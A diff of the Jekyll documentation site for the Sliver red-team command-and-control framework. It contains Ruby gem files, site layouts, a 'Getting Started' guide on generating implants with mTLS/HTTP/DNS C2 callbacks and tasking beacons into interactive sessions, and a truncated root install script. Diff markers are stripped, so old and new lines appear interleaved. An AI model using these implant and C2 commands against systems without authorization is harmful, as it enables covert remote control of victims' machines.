# This will help ensure the proper Jekyll version is running.
# Happy Jekylling!
gem "jekyll", "~> 3.9.0"
# This is the default theme for new Jekyll sites. You may change this to anything you like.
# gem "minima", "~> 2.0"
gem "github-pages", group: :jekyll_plugins
# If you want to use GitHub Pages, remove the "gem "jekyll"" above and
# uncomment the line below. To upgrade, run `bundle update github-pages`.
# gem "github-pages", group: :jekyll_plugins
# If you have any plugins, put them here!
group :jekyll_plugins do
gem "jekyll-feed", "~> 0.6"
end
# Windows does not include zoneinfo files, so bundle the tzinfo-data gem
# and associated library.
install_if -> { RUBY_PLATFORM =~ %r!mingw|mswin|java! } do
gem "tzinfo", "~> 1.2"
gem "tzinfo-data"
end
# Performance-booster for watching directories on Windows
gem "wdm", "~> 0.1.0", :install_if => Gem.win_platform?
# kramdown v2 ships without the gfm parser by default. If you're using
# kramdown v1, comment out this line.
gem "kramdown-parser-gfm"
gem "webrick", "~> 1.8"
+274
View File
@@ -0,0 +1,274 @@
GEM
remote: https://rubygems.org/
specs:
activesupport (6.0.6.1)
concurrent-ruby (~> 1.0, >= 1.0.2)
i18n (>= 0.7, < 2)
minitest (~> 5.1)
tzinfo (~> 1.1)
zeitwerk (~> 2.2, >= 2.2.2)
addressable (2.8.1)
public_suffix (>= 2.0.2, < 6.0)
coffee-script (2.4.1)
coffee-script-source
execjs
coffee-script-source (1.11.1)
colorator (1.1.0)
commonmarker (0.23.9)
concurrent-ruby (1.2.0)
dnsruby (1.61.9)
simpleidn (~> 0.1)
em-websocket (0.5.3)
eventmachine (>= 0.12.9)
http_parser.rb (~> 0)
ethon (0.16.0)
ffi (>= 1.15.0)
eventmachine (1.2.7)
execjs (2.8.1)
faraday (2.7.4)
faraday-net_http (>= 2.0, < 3.1)
ruby2_keywords (>= 0.0.4)
faraday-net_http (3.0.2)
ffi (1.15.5)
forwardable-extended (2.6.0)
gemoji (3.0.1)
github-pages (228)
github-pages-health-check (= 1.17.9)
jekyll (= 3.9.3)
jekyll-avatar (= 0.7.0)
jekyll-coffeescript (= 1.1.1)
jekyll-commonmark-ghpages (= 0.4.0)
jekyll-default-layout (= 0.1.4)
jekyll-feed (= 0.15.1)
jekyll-gist (= 1.5.0)
jekyll-github-metadata (= 2.13.0)
jekyll-include-cache (= 0.2.1)
jekyll-mentions (= 1.6.0)
jekyll-optional-front-matter (= 0.3.2)
jekyll-paginate (= 1.1.0)
jekyll-readme-index (= 0.3.0)
jekyll-redirect-from (= 0.16.0)
jekyll-relative-links (= 0.6.1)
jekyll-remote-theme (= 0.4.3)
jekyll-sass-converter (= 1.5.2)
jekyll-seo-tag (= 2.8.0)
jekyll-sitemap (= 1.4.0)
jekyll-swiss (= 1.0.0)
jekyll-theme-architect (= 0.2.0)
jekyll-theme-cayman (= 0.2.0)
jekyll-theme-dinky (= 0.2.0)
jekyll-theme-hacker (= 0.2.0)
jekyll-theme-leap-day (= 0.2.0)
jekyll-theme-merlot (= 0.2.0)
jekyll-theme-midnight (= 0.2.0)
jekyll-theme-minimal (= 0.2.0)
jekyll-theme-modernist (= 0.2.0)
jekyll-theme-primer (= 0.6.0)
jekyll-theme-slate (= 0.2.0)
jekyll-theme-tactile (= 0.2.0)
jekyll-theme-time-machine (= 0.2.0)
jekyll-titles-from-headings (= 0.5.3)
jemoji (= 0.12.0)
kramdown (= 2.3.2)
kramdown-parser-gfm (= 1.1.0)
liquid (= 4.0.4)
mercenary (~> 0.3)
minima (= 2.5.1)
nokogiri (>= 1.13.6, < 2.0)
rouge (= 3.26.0)
terminal-table (~> 1.4)
github-pages-health-check (1.17.9)
addressable (~> 2.3)
dnsruby (~> 1.60)
octokit (~> 4.0)
public_suffix (>= 3.0, < 5.0)
typhoeus (~> 1.3)
html-pipeline (2.14.3)
activesupport (>= 2)
nokogiri (>= 1.4)
http_parser.rb (0.8.0)
i18n (1.12.0)
concurrent-ruby (~> 1.0)
jekyll (3.9.3)
addressable (~> 2.4)
colorator (~> 1.0)
em-websocket (~> 0.5)
i18n (>= 0.7, < 2)
jekyll-sass-converter (~> 1.0)
jekyll-watch (~> 2.0)
kramdown (>= 1.17, < 3)
liquid (~> 4.0)
mercenary (~> 0.3.3)
pathutil (~> 0.9)
rouge (>= 1.7, < 4)
safe_yaml (~> 1.0)
jekyll-avatar (0.7.0)
jekyll (>= 3.0, < 5.0)
jekyll-coffeescript (1.1.1)
coffee-script (~> 2.2)
coffee-script-source (~> 1.11.1)
jekyll-commonmark (1.4.0)
commonmarker (~> 0.22)
jekyll-commonmark-ghpages (0.4.0)
commonmarker (~> 0.23.7)
jekyll (~> 3.9.0)
jekyll-commonmark (~> 1.4.0)
rouge (>= 2.0, < 5.0)
jekyll-default-layout (0.1.4)
jekyll (~> 3.0)
jekyll-feed (0.15.1)
jekyll (>= 3.7, < 5.0)
jekyll-gist (1.5.0)
octokit (~> 4.2)
jekyll-github-metadata (2.13.0)
jekyll (>= 3.4, < 5.0)
octokit (~> 4.0, != 4.4.0)
jekyll-include-cache (0.2.1)
jekyll (>= 3.7, < 5.0)
jekyll-mentions (1.6.0)
html-pipeline (~> 2.3)
jekyll (>= 3.7, < 5.0)
jekyll-optional-front-matter (0.3.2)
jekyll (>= 3.0, < 5.0)
jekyll-paginate (1.1.0)
jekyll-readme-index (0.3.0)
jekyll (>= 3.0, < 5.0)
jekyll-redirect-from (0.16.0)
jekyll (>= 3.3, < 5.0)
jekyll-relative-links (0.6.1)
jekyll (>= 3.3, < 5.0)
jekyll-remote-theme (0.4.3)
addressable (~> 2.0)
jekyll (>= 3.5, < 5.0)
jekyll-sass-converter (>= 1.0, <= 3.0.0, != 2.0.0)
rubyzip (>= 1.3.0, < 3.0)
jekyll-sass-converter (1.5.2)
sass (~> 3.4)
jekyll-seo-tag (2.8.0)
jekyll (>= 3.8, < 5.0)
jekyll-sitemap (1.4.0)
jekyll (>= 3.7, < 5.0)
jekyll-swiss (1.0.0)
jekyll-theme-architect (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-theme-cayman (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-theme-dinky (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-theme-hacker (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-theme-leap-day (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-theme-merlot (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-theme-midnight (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-theme-minimal (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-theme-modernist (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-theme-primer (0.6.0)
jekyll (> 3.5, < 5.0)
jekyll-github-metadata (~> 2.9)
jekyll-seo-tag (~> 2.0)
jekyll-theme-slate (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-theme-tactile (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-theme-time-machine (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-titles-from-headings (0.5.3)
jekyll (>= 3.3, < 5.0)
jekyll-watch (2.2.1)
listen (~> 3.0)
jemoji (0.12.0)
gemoji (~> 3.0)
html-pipeline (~> 2.2)
jekyll (>= 3.0, < 5.0)
kramdown (2.3.2)
rexml
kramdown-parser-gfm (1.1.0)
kramdown (~> 2.0)
liquid (4.0.4)
listen (3.8.0)
rb-fsevent (~> 0.10, >= 0.10.3)
rb-inotify (~> 0.9, >= 0.9.10)
mercenary (0.3.6)
mini_portile2 (2.8.1)
minima (2.5.1)
jekyll (>= 3.5, < 5.0)
jekyll-feed (~> 0.9)
jekyll-seo-tag (~> 2.1)
minitest (5.17.0)
nokogiri (1.14.3)
mini_portile2 (~> 2.8.0)
racc (~> 1.4)
octokit (4.25.1)
faraday (>= 1, < 3)
sawyer (~> 0.9)
pathutil (0.16.2)
forwardable-extended (~> 2.6)
public_suffix (4.0.7)
racc (1.6.2)
rb-fsevent (0.11.2)
rb-inotify (0.10.1)
ffi (~> 1.0)
rexml (3.2.5)
rouge (3.26.0)
ruby2_keywords (0.0.5)
rubyzip (2.3.2)
safe_yaml (1.0.5)
sass (3.7.4)
sass-listen (~> 4.0.0)
sass-listen (4.0.0)
rb-fsevent (~> 0.9, >= 0.9.4)
rb-inotify (~> 0.9, >= 0.9.7)
sawyer (0.9.2)
addressable (>= 2.3.5)
faraday (>= 0.17.3, < 3)
simpleidn (0.2.1)
unf (~> 0.1.4)
terminal-table (1.8.0)
unicode-display_width (~> 1.1, >= 1.1.1)
thread_safe (0.3.6)
typhoeus (1.4.0)
ethon (>= 0.9.0)
tzinfo (1.2.11)
thread_safe (~> 0.1)
tzinfo-data (1.2022.7)
tzinfo (>= 1.0.0)
unf (0.1.4)
unf_ext
unf_ext (0.0.8.2)
unicode-display_width (1.8.0)
wdm (0.1.1)
webrick (1.8.1)
zeitwerk (2.6.7)
PLATFORMS
ruby
DEPENDENCIES
github-pages
jekyll (~> 3.9.0)
jekyll-feed (~> 0.6)
kramdown-parser-gfm
tzinfo (~> 1.2)
tzinfo-data
wdm (~> 0.1.0)
webrick (~> 1.8)
BUNDLED WITH
2.4.6
+51
View File
@@ -0,0 +1,51 @@
# Welcome to Jekyll!
#
# This config file is meant for settings that affect your whole blog, values
# which you are expected to set up once and rarely edit after that. If you find
# yourself editing this file very often, consider using Jekyll's data files
# feature for the data you need to update frequently.
#
# For technical reasons, this file is *NOT* reloaded automatically when you use
# 'bundle exec jekyll serve'. If you change this file, please restart the server process.
# Site settings
# These are used to personalize your new site. If you look in the HTML files,
# you will see them accessed via {{ site.title }}, {{ site.email }}, and so on.
# You can create any custom variable you would like, and they will be accessible
# in the templates via {{ site.myvariable }}.
title: Sliver
description: >- # this means to ignore newlines until "baseurl:"
Sliver is an open source cross-platform adversary emulation/red team framework.
baseurl: "" # the subpath of your site, e.g. /blog
url: "https://sliver.sh/"
github:
latest_url: https://github.com/BishopFox/sliver/releases/latest
repository_url: https://github.com/BishopFox/sliver
# Build settings
markdown: kramdown
theme: jekyll-theme-hacker
show_downloads: true
plugins:
- jekyll-feed
plugins:
- jekyll-notion
# https://www.notion.so/sliver-sh/Sliver-4bbf1c77cabc46e09428c871283683d3?pvs=4
notion:
fetch_on_watch: true
databases:
- id: 4bbf1c77cabc46e09428c871283683d3
# Exclude from processing.
# The following items will not be processed, by default. Create a custom list
# to override the default setting.
exclude:
- Gemfile
- Gemfile.lock
- CNAME
- .gitignore
- _site
+39
View File
@@ -0,0 +1,39 @@
<!DOCTYPE html>
<html lang="{{ site.lang | default: "en-US" }}">
<head>
<meta charset='utf-8'>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="{{ '/assets/css/style.css?v=' | append: site.github.build_revision | relative_url }}">
{% seo %}
</head>
<body>
<header>
<div class="container">
<a id="a-title" href="{{ '/' | relative_url }}">
<h1>{{ site.title | default: site.github.repository_name }}</h1>
</a>
<h2>{{ site.description | default: site.github.project_tagline }}</h2>
<section id="downloads">
{% if site.show_downloads %}
<a href="{{ site.github.latest_url }}" target="_blank" class="btn">Latest Release</a>
{% endif %}
<a href="{{ site.github.repository_url }}" target="_blank" class="btn btn-github"><span class="icon"></span>View on GitHub</a>
</section>
</div>
</header>
<div class="container">
<section id="main_content">
{{ content }}
</section>
</div>
</body>
</html>
+14
View File
@@ -0,0 +1,14 @@
---
layout: default
---
<small>{{ page.date | date: "%-d %B %Y" }}</small>
<h1>{{ page.title }}</h1>
<p class="view">by {{ page.author | default: site.author }}</p>
{{ content }}
{% if page.tags %}
<small>tags: <em>{{ page.tags | join: "</em> - <em>" }}</em></small>
{% endif %}
@@ -1,16 +1,24 @@
**⚠️ NOTE:** This guide is intended for experienced red teamers, but we also have a [Beginner's Guide](https://github.com/BishopFox/sliver/wiki/Beginner's-Guide) for a more beginner friendly tutorial.
---
layout: post
title: "Getting Started"
author: "moloch"
date: 2021-07-07 09:01:33 -0500
categories: sliver
---
__⚠️ NOTE:__ This guide is intended for experienced red teamers, but we also have a [Beginner's Guide](https://github.com/BishopFox/sliver/wiki/Beginner's-Guide) for a more beginner friendly tutorial.
## Server Setup
Download the latest server [release](https://github.com/BishopFox/sliver/releases) for your platform, and just run the binary. That's it, you're pretty much done.
The first thing you'll need to do is setup a Sliver server, Sliver is designed for a one server deployment per-operation.
Sliver is designed for a one server deployment per-operation. The server supports Linux, Windows, and MacOS however we strongly recommend running the server on a Linux host (or MacOS, well really anything that isn't Windows), as some features may be more difficult to get working on a Windows server. The Windows client should work just fine when accessing a Linux/MacOS server from Windows, if for some odd reason your operators want to actually use Windows you'll just need to setup [multiplayer mode](https://github.com/BishopFox/sliver/wiki/Multiplayer-Mode).
The server supports Linux, Windows, and MacOS however we strongly recommend running the server on a Linux (or MacOS, well really anything that isn't Windows), as some features may be more difficult to get working on a Windows server. The Windows client should work just fine when accessing a Linux/MacOS server from Windows, if for some odd reason your operators want to actually use Windows you'll just need to setup [multiplayer mode](https://github.com/BishopFox/sliver/wiki/Multiplayer-Mode).
Obfuscated builds require `git` to be installed. Additionally, Sliver has two external dependencies for _optional_ features: MinGW and Metasploit. To enable DLL payloads (on a Linux server) you need to install MinGW. To enable some MSF integrations you'll need Metasploit installed on the server.
Download the latest sever [release](https://github.com/BishopFox/sliver/releases) for your platform, and just run the binary. That's it, you're pretty much done.
#### System Requirements
The Sliver server can run effectively on almost any system, however we recommend 8GB or more of RAM for compiling obfuscated implants as the obfuscator may consume large amounts of memory depending on compile-time options. You can leverage [external builders](https://github.com/BishopFox/sliver/wiki/External-Builders) in conjunction with low resource systems to work around hardware limitations of the server (e.g. a low powered VPS). Symbol obfuscation can also be disabled per-build, see `generate --help` in the Sliver console.
__IMPORTANT:__ Sliver has two external dependancies for _optional_ features: MinGW and Metasploit. To enable DLL payloads you need to install MinGW. To enable some MSF integrations you'll need Metasploit installed on the server.
### MinGW Setup (Optional, Recommended)
@@ -19,28 +27,26 @@ In order to enable shellcode/staged/DLL payloads you'll need to install MinGW on
#### Linux (Debian-based)
```
apt install git mingw-w64
apt install mingw-w64
```
#### MacOS
```
brew install git mingw-w64
brew install mingw-w64
```
**Note:** On MacOS you may need to configure [environment variables](https://github.com/BishopFox/sliver/wiki/Environment-Variables) for MinGW.
See [cross-compiling implants](https://github.com/BishopFox/sliver/wiki/Cross-Compiling-Implants) for more details.
__Note:__ On MacOS may have to configure [environment variables](https://github.com/BishopFox/sliver/wiki/Environment-Variables) for MinGW.
### Metasploit Setup (Optional)
We strongly recommend using the [nightly framework installers](https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers), Sliver expects MSF version 6.2+.
We strongly recommend using the [nightly framework installers](https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers), Sliver expects MSF version 5+.
## Implants: Beacon vs. Session
## Implants Beacon vs. Session
Sliver is generally designed as a stage 2 payload, and as such we've not yet endeavored to minimize the implant's file size. Depending on how many protocols you enable in your implant the file can get large, we strongly advise the use of [stagers](https://github.com/BishopFox/sliver/wiki/Stagers) for actual operations (at least in contexts where one may be concerned about file size). Such is the tradeoff for getting easy static compilation in Golang.
Sliver is generally designed as a stage 2 payload, and as such we've not yet endeavored to minimize the implant's file size. Depending on how many protocols you enable in your implant the file can get large, we strongly advise the use of [stagers](https://github.com/BishopFox/sliver/wiki/Stagers) for actual operations. Such is the tradeoff for getting easy static compilation in Golang.
Sliver implants in v1.5 and later support two modes of operation: "beacon mode" and "session mode." Beacon mode implements an asynchronous communication style where the implant periodically checks in with the server retrieves tasks, executes them, and returns the results. In "session mode" the implant will create an interactive real time session using either a persistent connection or using long polling depending on the underlying C2 protocol.
Sliver implants in v1.5 and later support two modes of operation: "beacon mode" and "session mode." Beacon mode implements an asynchronous communication style where the implant periodically checks in with the server retrieves tasks, executes them, and returns the results. In "session mode" the implant will create an interactive real time session using either a persistent connection or using long polling depending on the underlying C2 protocol.
Beacons may be tasked to open interactive sessions over _any C2 protocol they were compiled with_ using the `interactive` command, i.e., if a beacon implant was not compiled with HTTP C2 it cannot open a session over HTTP (use the `close` command to close the session). Currently implants initially compiled for session mode cannot be converted to beacon mode (we may add this feature later). Take this into account during operational planning.
@@ -48,6 +54,8 @@ Some commands such as `shell` and `portfwd` only work over interactive sessions.
## Generating Implants
__IMPORTANT:__ The first time you generate an implant the server needs to download some Go module code, so the server must have internet access. See [offline implant builds](https://github.com/BishopFox/sliver/wiki/Offline-Implant-Builds) if this is a problem for you. The modules are cached.
Generating implants is done using the `generate` command, you must specify at least one C2 endpoint using `--mtls`, `--wg`, `--http`, or `--dns`. Note that when an implant attempts to connect to an endpoint specified using `--http` it will try both HTTPS and then HTTP (if HTTPS fails). We recommend using mTLS (`--mtls`) or WireGuard (`--wg`) whenever possible. You can also specify an output directory with `--save`, by default the implant will be saved to the current working directory.
#### Session Mode
@@ -110,9 +118,8 @@ sliver > regenerate --save /Users/moloch/Desktop NEW_GRAPE
#### Additional Details
For addition details about each C2 please see:
- [HTTP(S) C2](<https://github.com/BishopFox/sliver/wiki/HTTP(S)-C2>)
- [DNS C2](https://github.com/BishopFox/sliver/wiki/DNS-C2)
* [HTTP(S) C2](https://github.com/BishopFox/sliver/wiki/HTTP(S)-C2)
* [DNS C2](https://github.com/BishopFox/sliver/wiki/DNS-C2)
## Getting Shells
@@ -164,9 +171,9 @@ Upon initial execution the beacon will register itself with the C2 server and wi
[server] sliver > beacons
ID Name Tasks Transport Remote Address Hostname Username Operating System Last Check-In Next Check-In
ID Name Tasks Transport Remote Address Hostname Username Operating System Last Check-In Next Check-In
========== ======================== ======= =========== ===================== ================= =============================== ================== ================ ===============
8c465643 RELATIVE_ADVERTISEMENT 0/0 mtls 192.168.1.178:54701 WIN-1TT1Q345B37 WIN-1TT1Q345B37\Administrator windows/amd64 49.385459s ago 37.614549s
8c465643 RELATIVE_ADVERTISEMENT 0/0 mtls 192.168.1.178:54701 WIN-1TT1Q345B37 WIN-1TT1Q345B37\Administrator windows/amd64 49.385459s ago 37.614549s
[server] sliver > use 8c465643-0e65-45f2-bb7e-acb3480de3cb
@@ -190,29 +197,29 @@ drwxrwxrwx a <dir> Wed Dec 22 15:34:56 -0600 2021
...
```
Tasks will execute in the order they were created (FIFO).
Tasks will execute in the order they were created (FIFO).
**⚠️ IMPORTANT:** Tasks results will block until all tasks that were part of the same "check-in" have completed. If you have one short running and one long running tasks that are executed as part of the same check-in the short task results will wait for the results of the long running task. Consider executing long running tasks on their own interval. This includes tasks assigned by multiple operators, as the implant is not "aware" of the multiple operators.
__⚠️ IMPORTANT:__ Tasks results will block until all tasks that were part of the same "check-in" have completed. If you have one short running and one long running tasks that are executed as part of the same check-in the short task results will wait for the results of the long running task. Consider executing long running tasks on their own interval. This includes tasks assigned by multiple operators, as the implant is not "aware" of the multiple operators.
You can view previous tasks executed by the active beacon using the `tasks` command:
```
[server] sliver (RELATIVE_ADVERTISEMENT) > tasks
[server] sliver (RELATIVE_ADVERTISEMENT) > tasks
ID State Message Type Created Sent Completed
ID State Message Type Created Sent Completed
========== =========== ============== =============================== =============================== ===============================
90294ad2 completed Ls Sat, 22 Jan 2022 14:45:00 CST Sat, 22 Jan 2022 14:45:11 CST Sat, 22 Jan 2022 14:45:11 CST
962978a6 completed Ls Sat, 22 Jan 2022 14:42:43 CST Sat, 22 Jan 2022 14:43:53 CST Sat, 22 Jan 2022 14:43:53 CST
90294ad2 completed Ls Sat, 22 Jan 2022 14:45:00 CST Sat, 22 Jan 2022 14:45:11 CST Sat, 22 Jan 2022 14:45:11 CST
962978a6 completed Ls Sat, 22 Jan 2022 14:42:43 CST Sat, 22 Jan 2022 14:43:53 CST Sat, 22 Jan 2022 14:43:53 CST
```
You can get the old output from the task using `tasks fetch` and selecting the task you want to see the output from. Operators in multiplayer mode can fetch output from tasks issued by any other operator on the server. However, operators will only see the automatic results from tasks that they themselves executed. You can disable the automatic display of task results using the `settings` command.
You can get the old output from the task using `tasks fetch` and selecting the task you want to see the output from. Note that in this case these task output is stored on the server, so operators in multiplayer mode can fetch output from tasks issued by other operators. However, operators will only see the automatic results from tasks that they executed. You can disable the automatic display of task results using the `settings` command.
#### Switching from Beacon Mode to Session Mode
You can use the `interactive` command to task a beacon to open an interactive session, with no arguments the current C2 channel will be used:
```
[server] sliver (RELATIVE_ADVERTISEMENT) > interactive
[server] sliver (RELATIVE_ADVERTISEMENT) > interactive
[*] Using beacon's active C2 endpoint: mtls://192.168.1.150:8888
[*] Tasked beacon RELATIVE_ADVERTISEMENT (3920e899)
@@ -220,33 +227,28 @@ You can use the `interactive` command to task a beacon to open an interactive se
[*] Session 223fac7e RELATIVE_ADVERTISEMENT - 192.168.1.178:54733 (WIN-1TT1Q345B37) - windows/amd64 - Sat, 22 Jan 2022 14:55:24 CST
```
**⚠️ IMPORTANT:** You can only open interactive sessions over C2 protocols that were compiled into the binary. For example, if you did not initially compile an implant with `--http` you won't be able to open an interactive session over HTTP. However, you can specify alternative _endpoints_ (such as a redirector on another domain) using the `interactive` command's flags.
__⚠️ IMPORTANT:__ You can only open interactive sessions over C2 protocols that were compiled into the binary. For example, if you did not initially compile an implant with `--http` you won't be able to open an interactive session over HTTP. However, you can specify alternative _endpoints_ (such as a redirector on another domain) using the `interactive` command's flags.
When you're done using the interactive session use the `close` command to close the interactive session without killing the implant; the beacon will still perform check-ins while an interactive session is open.
## Multiple Domains/Protocols
You can specify multiple domains and protocols during the generation process.
By default Sliver will attempt to use the `s` sequential connection strategy: the most performant protocols are used first (MTLS -> WG -> HTTP(S) -> DNS) falling back to subsequent domains/protocols if/when connections fail.
You can specify multiple domains and protocols during the generation process. Right now Sliver will attempt to use the most performant protocols first (MTLS -> WG -> HTTP(S) -> DNS) using subsequent domains/protocols when connections fail.
```
sliver > generate --mtls example.com --http foobar.com --dns 1.lil-peep.rip
```
You can modify the connection strategy at compile-time using the `--strategy` flag. For example, you can instruct the implant to `r` randomly connect to any specified C2 endpoint:
```
sliver > generate --mtls foo.com,bar.com,baz.com --strategy r
```
Eventually we'll add a feature to manually specify the fallback protocols, or you can add this feature and send up a PR :).
## What Next?
Most commands have a `--help` and support tab complete, you may also find the following wiki articles of interest:
- [Armory](https://sliver.sh/docs#name=Armory)
- [Stagers](https://sliver.sh/docs#name=Stagers)
- [Community Guides](https://sliver.sh/docs#name=Community%20Guides)
- [Port Forwarding](https://sliver.sh/docs#name=Port%20Forwarding)
- [Reverse SOCKS](https://sliver.sh/docs#name=Reverse%20SOCKS)
- [BOF/COFF Support](https://sliver.sh/docs#name=BOF%20and%20COFF%20Support)
* [Armory](https://github.com/BishopFox/sliver/wiki/Armory)
* [Stagers](https://github.com/BishopFox/sliver/wiki/Stagers)
* [Port Forwarding](https://github.com/BishopFox/sliver/wiki/Port-Forwarding)
* [Reverse SOCKS](https://github.com/BishopFox/sliver/wiki/Reverse-SOCKS)
* [BOF/COFF Support](https://github.com/BishopFox/sliver/wiki/BOF-&-COFF-Support)
+18
View File
@@ -0,0 +1,18 @@
---
layout: default
title: About
permalink: /about/
---
This is the base Jekyll theme. You can find out more info about customizing your Jekyll theme, as well as basic Jekyll usage documentation at [jekyllrb.com](https://jekyllrb.com/)
You can find the source code for Minima at GitHub:
[jekyll][jekyll-organization] /
[minima](https://github.com/jekyll/minima)
You can find the source code for Jekyll at GitHub:
[jekyll][jekyll-organization] /
[jekyll](https://github.com/jekyll/jekyll)
[jekyll-organization]: https://github.com/jekyll
+11
View File
@@ -0,0 +1,11 @@
---
layout: default
---
<ul>
{% for post in site.posts %}
<li>
<a href="{{ post.url }}">{{ post.title }}</a>
</li>
{% endfor %}
</ul>
+60 -66
View File
@@ -1,46 +1,47 @@
#!/bin/bash
set -e
SLIVER_GPG_KEY_ID="4449039C"
SLIVER_GPG_KEY_ID=4449039C
if [[ "$EUID" -ne 0 ]];then
echo "Please run as root"
exit
if [ "$EUID" -ne 0 ]
then echo "Please run as root"
exit
fi
# Determine OS type
# Debian-based OS (Debian, Ubuntu, etc)
if command -v apt &> /dev/null; then
echo "Installing dependencies using apt..."
DEBIAN_FRONTEND=noninteractive apt install -yqq \
if [ -n "$(command -v yum)" ]
then
yum -y install gnupg curl gcc gcc-c++ make mingw64-gcc git
fi
if [ -n "$(command -v apt-get)" ]
then
DEBIAN_FRONTEND=noninteractive apt-get install -yqq \
gpg curl build-essential git \
mingw-w64 binutils-mingw-w64 g++-mingw-w64
INSTALLER=(apt install -yqq)
elif command -v yum &> /dev/null; then # Redhat-based OS (Fedora, CentOS, RHEL)
echo "Installing dependencies using yum..."
yum -y install gnupg curl gcc gcc-c++ make mingw64-gcc git
INSTALLER=(yum -y)
elif command -v pacman &>/dev/null; then # Arch-based (Manjaro, Garuda, Blackarch)
echo "Installing dependencies using pacman..."
pacman -S mingw-w64-gcc mingw-w64-binutils mingw-w64-headers
INSTALLER=(pacman -S)
else
echo "Unsupported OS, exiting"
exit
fi
# Verify if necessary tools are installed
for cmd in curl awk gpg; do
if ! command -v "$cmd" &> /dev/null; then
echo "$cmd could not be found, installing..."
${INSTALLER[@]} "$cmd"
fi
done
# Curl
if ! command -v curl &> /dev/null
then
echo "curl could not be found"
exit 1
fi
# Awk
if ! command -v awk &> /dev/null
then
echo "awk could not be found"
exit 1
fi
# GPG
if ! command -v gpg &> /dev/null
then
echo "gpg could not be found"
exit 1
fi
cd /root || exit
cd /root
echo "Running from $(pwd)"
echo "Importing GPG key..."
gpg --import <<EOF
-----BEGIN PGP PUBLIC KEY BLOCK-----
@@ -95,53 +96,48 @@ DxkLsLOBBZZRXOrgxit+tAqinGJ6N9hOvkUlwTLfJM1tpCEFb/Z786g=
-----END PGP PUBLIC KEY BLOCK-----
EOF
#
# Download and Unpack Sliver Server
echo "Fetching latest Sliver release URLs..."
#
ARTIFACTS=$(curl -s "https://api.github.com/repos/BishopFox/sliver/releases/latest" | awk -F '"' '/browser_download_url/{print $4}')
SLIVER_SERVER="sliver-server_linux"
SLIVER_CLIENT="sliver-client_linux"
arch=$(uname -i)
if [[ $arch == x86_64* ]]; then
SLIVER_SERVER='sliver-server_linux-amd64'
SLIVER_CLIENT='sliver-client_linux-amd64'
elif [[ $arch == arm* ]]; then
SLIVER_SERVER='sliver-server_linux-arm64'
SLIVER_CLIENT='sliver-client_linux-arm64'
fi
for URL in $ARTIFACTS
do
if [[ "$URL" == *"$SLIVER_SERVER"* ]]; then
echo "Downloading $URL"
curl --silent -L "$URL" --output "$(basename "$URL")"
curl --silent -L $URL --output $(basename $URL)
fi
if [[ "$URL" == *"$SLIVER_CLIENT"* ]]; then
echo "Downloading $URL"
curl --silent -L "$URL" --output "$(basename "$URL")"
curl --silent -L $URL --output $(basename $URL)
fi
done
# Signature verification
echo "Verifying signatures ..."
gpg --default-key "$SLIVER_GPG_KEY_ID" --verify "/root/$SLIVER_SERVER.sig" "/root/$SLIVER_SERVER"
gpg --default-key "$SLIVER_GPG_KEY_ID" --verify "/root/$SLIVER_CLIENT.sig" "/root/$SLIVER_CLIENT"
gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_SERVER.sig /root/$SLIVER_SERVER
gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_CLIENT.sig /root/$SLIVER_CLIENT
if test -f "/root/$SLIVER_SERVER"; then
echo "Moving the Sliver server executable to /root/sliver-server..."
mv "/root/$SLIVER_SERVER" /root/sliver-server
echo "Setting permissions for the Sliver server executable..."
mv /root/$SLIVER_SERVER /root/sliver-server
chmod 755 /root/sliver-server
echo "Unpacking the Sliver server..."
/root/sliver-server unpack --force
else
exit 3
fi
if test -f "/root/$SLIVER_CLIENT"; then
echo "Setting permissions for the Sliver client executable..."
chmod 755 "/root/$SLIVER_CLIENT"
echo "Copying the Sliver client executable to /usr/local/bin/sliver-client..."
cp -vv "/root/$SLIVER_CLIENT" /usr/local/bin/sliver-client
echo "Creating a symbolic link for sliver-client at /usr/local/bin/sliver..."
ln -sf /usr/local/bin/sliver-client /usr/local/bin/sliver
echo "Setting permissions for the symbolic link /usr/local/bin/sliver..."
chmod 755 /root/$SLIVER_CLIENT
cp -vv /root/$SLIVER_CLIENT /usr/local/bin/sliver-client
ln -s /usr/local/bin/sliver-client /usr/local/bin/sliver
chmod 755 /usr/local/bin/sliver
else
exit 3
@@ -167,25 +163,23 @@ WantedBy=multi-user.target
EOF
chown root:root /etc/systemd/system/sliver.service
chmod 600 /etc/systemd/system/sliver.service
echo "Starting the Sliver service..."
systemctl start sliver # Start the service now
systemctl start sliver
# Enable on boot
systemctl enable sliver
# Generate local configs
echo "Generating local configs ..."
# Generate local configs
echo "Generating operator configs ..."
echo "Generating local user operator configs ..."
mkdir -p /root/.sliver-client/configs
/root/sliver-server operator --name root --lhost localhost --save /root/.sliver-client/configs
chown -R root:root /root/.sliver-client/
USER_DIRS=(/home/*)
for USER_DIR in "${USER_DIRS[@]}"; do
USER=$(basename "$USER_DIR")
if id -u "$USER" >/dev/null 2>&1; then
echo "Generating operator configs for user $USER..."
mkdir -p "$USER_DIR/.sliver-client/configs"
/root/sliver-server operator --name "$USER" --lhost localhost --save "$USER_DIR/.sliver-client/configs"
chown -R "$USER":"$(id -gn "$USER")" "$USER_DIR/.sliver-client/"
USER=$(basename $USER_DIR)
if id -u $USER >/dev/null 2>&1; then
